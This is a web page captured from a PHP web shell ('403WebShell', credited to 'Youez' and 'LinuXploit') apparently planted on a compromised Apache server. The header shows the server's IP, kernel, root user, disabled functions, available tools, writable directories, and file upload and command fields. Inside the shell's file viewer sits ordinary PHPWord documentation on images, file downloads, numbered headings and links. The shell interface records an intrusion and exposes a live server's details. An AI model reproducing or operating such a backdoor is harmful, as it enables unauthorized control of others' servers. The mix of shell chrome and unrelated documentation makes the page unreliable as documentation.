Warning: chmod(): Operation not permitted in /data/html/improve/wp-content/plugins/wordfence/wordfence.php on line 8
403WebShell
403Webshell
Server IP : 52.9.100.119  /  Your IP : 216.73.217.128
Web Server : Apache/2.4.61 (Amazon) OpenSSL/1.0.2k-fips PHP/7.3.30 Phusion_Passenger/5.1.5
System : Linux ip-172-31-9-35 4.14.355-196.618.amzn1.x86_64 #1 SMP Mon Apr 7 17:09:50 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.3.30
Disable Function : exec,passthru,shell_exec,system,popen,proc_open
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /data/html/garlans_live/vendor/phpoffice/phpword/docs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /data/html/garlans_live/vendor/phpoffice/phpword/docs/recipes.rst
.. _recipes:

Recipes
=======

Create float left image
-----------------------

Use absolute positioning relative to margin horizontally and to line vertically.

.. code-block:: php

    $imageStyle = array(
        'width' => 40,
        'height' => 40,
        'wrappingStyle' => 'square',
        'positioning' => 'absolute',
        'posHorizontalRel' => 'margin',
        'posVerticalRel' => 'line',
    );
    $textrun->addImage('resources/_earth.jpg', $imageStyle);
    $textrun->addText($lipsumText);

Download the produced file automatically
----------------------------------------

Use ``php://output`` as the filename.

.. code-block:: php

    $phpWord = new \PhpOffice\PhpWord\PhpWord();
    $section = $phpWord->createSection();
    $section->addText('Hello World!');
    $file = 'HelloWorld.docx';
    header("Content-Description: File Transfer");
    header('Content-Disposition: attachment; filename="' . $file . '"');
    header('Content-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.document');
    header('Content-Transfer-Encoding: binary');
    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
    header('Expires: 0');
    $xmlWriter = \PhpOffice\PhpWord\IOFactory::createWriter($phpWord, 'Word2007');
    $xmlWriter->save("php://output");

Create numbered headings
------------------------

Define a numbering style and title styles, and match the two styles (with ``pStyle`` and ``numStyle``) like below.

.. code-block:: php

    $phpWord->addNumberingStyle(
        'hNum',
        array('type' => 'multilevel', 'levels' => array(
            array('pStyle' => 'Heading1', 'format' => 'decimal', 'text' => '%1'),
            array('pStyle' => 'Heading2', 'format' => 'decimal', 'text' => '%1.%2'),
            array('pStyle' => 'Heading3', 'format' => 'decimal', 'text' => '%1.%2.%3'),
            )
        )
    );
    $phpWord->addTitleStyle(1, array('size' => 16), array('numStyle' => 'hNum', 'numLevel' => 0));
    $phpWord->addTitleStyle(2, array('size' => 14), array('numStyle' => 'hNum', 'numLevel' => 1));
    $phpWord->addTitleStyle(3, array('size' => 12), array('numStyle' => 'hNum', 'numLevel' => 2));

    $section->addTitle('Heading 1', 1);
    $section->addTitle('Heading 2', 2);
    $section->addTitle('Heading 3', 3);

Add a link within a title
-------------------------

Apply 'HeadingN' paragraph style to TextRun or Link. Sample code:

.. code-block:: php

    $phpWord = new \PhpOffice\PhpWord\PhpWord();
    $phpWord->addTitleStyle(1, array('size' => 16, 'bold' => true));
    $phpWord->addTitleStyle(2, array('size' => 14, 'bold' => true));
    $phpWord->addFontStyle('Link', array('color' => '0000FF', 'underline' => 'single'));

    $section = $phpWord->addSection();

    // Textrun
    $textrun = $section->addTextRun('Heading1');
    $textrun->addText('The ');
    $textrun->addLink('https://github.com/PHPOffice/PHPWord', 'PHPWord', 'Link');

    // Link
    $section->addLink('https://github.com/', 'GitHub', 'Link', 'Heading2');

Remove [Compatibility Mode] text in the MS Word title bar
---------------------------------------------------------

Use the ``Metadata\Compatibility\setOoxmlVersion(n)`` method with ``n`` is the version of Office (14 = Office 2010, 15 = Office 2013).

.. code-block:: php

    $phpWord->getCompatibility()->setOoxmlVersion(15);

Youez - 2016 - github.com/yon3zu
LinuXploit